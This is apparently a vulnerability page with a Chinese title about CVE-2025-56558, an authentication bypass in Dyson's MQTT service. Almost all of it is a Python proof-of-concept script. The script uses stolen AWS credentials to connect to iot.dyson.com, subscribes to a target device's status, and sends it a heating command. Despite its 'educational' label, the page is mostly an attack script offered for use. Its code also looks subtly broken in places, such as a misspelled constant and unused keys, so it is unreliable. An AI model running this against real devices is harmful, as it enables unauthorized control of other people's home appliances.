CVE-2025-56558：Dyson MQTT服务器设备所有权转移后认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-56558 PoC - Dyson MQTT Server Authentication Bypass Note: This is a conceptual PoC for educational purposes only. """ import paho.mqtt.client as mqtt import boto3 import json from datetime import datetime # Configuration DYSYON_MQTT_BROKER = "iot.dyson.com" MQTT_PORT = 8883 class DysonMQTTExploit: def __init__(self, aws_access_key, aws_secret_key, aws_session_token, device_serial): self.aws_access_key = aws_access_key self.aws_secret_key = aws_secret_key self.aws_session_token = aws_session_token self.device_serial = device_serial self.client = None def on_connect(self, client, userdata, flags, rc): if rc == 0: print(f"[+] Successfully connected to Dyson MQTT broker") # Subscribe to device status topic topic = f"\x00{self.device_serial}/status" client.subscribe(topic) print(f"[+] Subscribed to topic: {topic}") # Publish temperature control command self.set_temperature(25) else: print(f"[-] Connection failed with code: {rc}") def on_message(self, client, userdata, msg): print(f"[+] Received message on {msg.topic}: {msg.payload}") def set_temperature(self, temp_celsius): """Set the room temperature (0-37°C within safe range)""" if temp_celsius < 0 or temp_celsius > 37: print(f"[-] Temperature must be between 0-37°C") return # Construct MQTT command payload command_topic = f"\x00{self.device_serial}/command" payload = { "msg": "STATE-SET", "data": { "fmod": "heat", "tact": str(temp_celsius), "fnsp": "0101", "fpwr": "ON" }, "time": datetime.now().isoformat() } result = self.client.publish(command_topic, json.dumps(payload)) if result.rc == mqtt.MQTT_ERR_SUCCESS: print(f"[+] Temperature set to {temp_celsius}°C") else: print(f"[-] Failed to send command") def exploit(self): """Main exploit function""" print("[*] CVE-2025-56558 - Dyson MQTT Authentication Bypass") print(f"[*] Target device: {self.device_serial}") # Create MQTT client with TLS self.client = mqtt.Client(client_id=self.device_serial) self.client.tls_set_context(context=None) self.client.on_connect = self.on_connect self.client.on_message = self.on_message # Set credentials (AWS IoT Core authentication) self.client.username_pw_set( username=self.aws_access_key, password=self.aws_session_token ) try: self.client.connect(DYSYON_MQTT_BROKER, MQTT_PORT, 60) self.client.loop_forever() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with actual stolen credentials AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE" AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" AWS_SESSION_TOKEN = "FwoGZXIvYXdzECYaDPABCDEFexample" DEVICE_SERIAL = "XXX-XX-12345678" exploit = DysonMQTTExploit(AWS_ACCESS_KEY, AWS_SECRET_KEY, AWS_SESSION_TOKEN, DEVICE_SERIAL) exploit.exploit()